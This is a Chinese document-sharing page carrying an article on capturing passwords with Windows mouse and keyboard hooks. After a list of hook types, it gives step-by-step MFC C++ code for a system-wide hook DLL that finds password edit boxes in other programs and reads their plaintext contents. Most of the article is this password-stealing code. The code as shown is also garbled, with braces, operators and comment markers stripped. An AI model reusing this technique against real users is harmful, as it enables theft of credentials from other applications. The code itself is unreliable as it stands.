计算机:利用鼠标键盘钩子截获密码.doc

上传人:cn****1 文档编号:560583654 上传时间:2022-10-27 格式:DOC 页数:6 大小:29.50KB
返回 下载 相关 举报
计算机:利用鼠标键盘钩子截获密码.doc_第1页
第1页 / 共6页
计算机:利用鼠标键盘钩子截获密码.doc_第2页
第2页 / 共6页
计算机:利用鼠标键盘钩子截获密码.doc_第3页
第3页 / 共6页
计算机:利用鼠标键盘钩子截获密码.doc_第4页
第4页 / 共6页
计算机:利用鼠标键盘钩子截获密码.doc_第5页
第5页 / 共6页
点击查看更多>>
资源描述

《计算机:利用鼠标键盘钩子截获密码.doc》由会员分享,可在线阅读,更多相关《计算机:利用鼠标键盘钩子截获密码.doc(6页珍藏版)》请在金锄头文库上搜索。

1、计算机论文:利用鼠标键盘钩子截获密码 钩子能截获系统并得理发送给其它应用程序的消息,能完成一般程序无法完成的功能。掌握钩子的编程方法是很有必要的钩子分类 :1、WH_CALLWNDPROC和WH_CALLWNDPROCRET: 使你可以监视发送到窗口过程的消息3、WH_DEBUG 调试钩子4、WH_FOREGROUNDIDLE 当当应用程序的前台线程大概要变成空闲状态时,系统就会调用 WH_FOREGROUNDIDL5、WH_JOURNALRECORD 监视和记录输入事件6、WH_JOURNALPLAYBACK 回放用WH_JOURNALRECORD记录事件7、WH_KEYBOARD 键盘钩子

2、9、WH_KEYBOARD_LL 低层键盘钩子10、WH_MOUSE 鼠标钩子11、WH_MOUSE_LL 底层鼠标钩子12、WH_SHELL 外壳钩子13、WH_MSGFILTER 和 WH_SYSMSGFILTER 使我们可以监视菜单,滚动条,消息框等安装钩子:调用函数SetWindowsHookEx安装钩子。其函数原型为: HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId ) idHook表示钩子类型,它是和钩子函数类型一一对应的。如,WH_KEYBOARD,WH_MOUSE。

3、 Lpfn是钩子函数的地址。 HMod是钩子函数所在的实例的句柄。对于线程钩子,该参数为NULL;对于系统钩子,该参数为钩子函数所在的DLL句柄。 (系统钩子必须在DLL中) dwThreadId 指定钩子所监视的线程的线程号。对于全局钩子,该参数为NULL。 SetWindowsHookEx返回所安装的钩子句柄。 卸载钩子 调用函数 BOOL UnhookWindowsHookEx( HHOOK hhk)卸载钩子 定义钩子函数 钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后,系统会调用钩子函数进行处理。一般为下: LRESULT WINAPI MyHookProc(int nCode

4、 ,WPARAM wParam,LPARAM lParam) 参数wParam和 lParam包含所钩消息的信息,比如鼠标位置、状态,键盘按键等。nCode包含有关消息本身的信,比如是否从消息队列中移出。 实例: 下面我们通过安装鼠标钩子。和键盘钩子还截获输入的密码,并可查看*密码为例,来说明何何使用钩子。1,进入向导,新建MFC AppWizard(dll) 取名为GetPass,选择MFC Extension DLL,完成。2,新建一个CGetPassHook 类,基类:CObject,并加入StartHook,StopHook,函数,如下:class AFX_EXT_CLASS CGet

5、PassHook : public CObject public: BOOL StopHook(); BOOL StartHook(HWND hwnd); CGetPassHook(); virtual CGetPassHook();3:加入全局共享数据,如下:#pragma data_seg(ShareData)HHOOK hKeyBoardHook=NULL; file:/keyboar hookHHOOK hMouseHook=NULL; file:/mouse hookHINSTANCE glhInstance=NULL; file:/globle instanceHWND hOutP

6、utWnd=NULL; file:/Display Pass Wnd#pragma data_seg()4:加入鼠标,键盘钩子处理函数,如下:LRESULT WINAPI MouseHookProc(int nCode,WPARAM wParam ,LPARAM lParam) file:/鼠标钩子得理函数 LPMOUSEHOOKSTRUCT lpMouse=(MOUSEHOOKSTRUCT FAR*)lParam; if(nCode=0) HWND hTargetHwnd=lpMouse-hwnd; 计算机论文file:/得到鼠标所在窗口句柄 if(hTargetHwnd) LONG sty

7、le=:GetWindowLong(hTargetHwnd,GWL_STYLE); file:/得到它的样式 if(style&ES_PASSWORD) file:/如果是密码框 char szPass255; :SendMessage(hTargetHwnd,WM_GETTEXT,255,(LPARAM)szPass); file:/得到密码 :SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass); file:/显示密码 return CallNextHookEx(hMouseHook,nCode,wParam,lParam); file:/

8、加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递, file:/可以起到截儿消息的目的,我们这里调用之。LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam) file:/keyboard hook proc if(nCode=0) HWND hTargetHwnd=GetActiveWindow(); file:/get active window if(hTargetHwnd) EnumChildWindows(hTargetHwnd,EnumWndProc,0); file:/枚举所有窗口 retu

9、rn CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam); file:/加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递, file:/可以起到截儿消息的目的,我们这里调用之。 这里要介绍下EnumChildWindows函数,原形如下: BOOL EnumChildWindows(HWND hWndParent,WINDENUMPROC lpEnumFunc,LPARAM lParam); hWndParent:为枚举窗口的句柄 lpEnumFunc:枚举函数的地址, lParam:这里为0 5:加入枚举窗口的函数。如下:(注意,因

10、为前面的函数据要用到此函数,所以要么在前面声明,要么放在上面函数之前定义。BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam) file:/enum the child window,find passedit if(hwnd) LONG style=:GetWindowLong(hwnd,GWL_STYLE); file:/得到STYLE if(style&ES_PASSWORD) file:/是密码框 char szPass255; :SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass); file:/得

11、到PASS :SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass); file:/显示 return TRUE; return TRUE;6:在DEF文件中定义段属性: (这步很重要)SECTIONS mydata READ WRITE SHARED 7:完成StartHook,StopHook函数,启动/关闭钩子,如下:BOOL CGetPassHook:StartHook(HWND hwnd) file:/install hoook hMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glh

12、Instance,0); file:/mouse hook hKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0); file:/keyboard hook if(hMouseHook&hKeyBoardHook) hOutPutWnd=hwnd; file:/显示密码的句柄 return TRUE; return FALSE;BOOL CGetPassHook:StopHook() file:/unstall hook BOOL mHook=UnhookWindowsHookEx(hMouseHook);

13、BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook); if(mHook&kHook) return TRUE; return FALSE;8:在DLLMAIN函数中得到DLL句柄,要用到glhInstance变量,因此要加入一句,如下:extern HINSTANCE glhInstance; file:/记得这里extern C int APIENTRYDllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) UNREFERENCED_PARAMETER(lpReserved); i

14、f (dwReason = DLL_PROCESS_ATTACH) TRACE0(GETPASS.DLL Initializing!n); if (!AfxInitExtensionModule(GetPassDLL, hInstance) return 0; new CDynLinkLibrary(GetPassDLL); glhInstance=hInstance; file:/得到句柄 else if (dwReason = DLL_PROCESS_DETACH) TRACE0(GETPASS.DLL Terminating!n); AfxTermExtensionModule(GetPassDLL); return 1; / ok9:编译,完成DLL部分,下面建立APP部分。如下:1:新建MFC AppWizard(exe)命名为GetPassWord,并在第一步中选择Add to Current WorkSpace加入到当前工作区,这样方便。2:将刚才的DLL中的GetPass.lib,和GetPassHook.h拷贝APP所在目录,然后

展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 生活休闲 > 科普知识

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号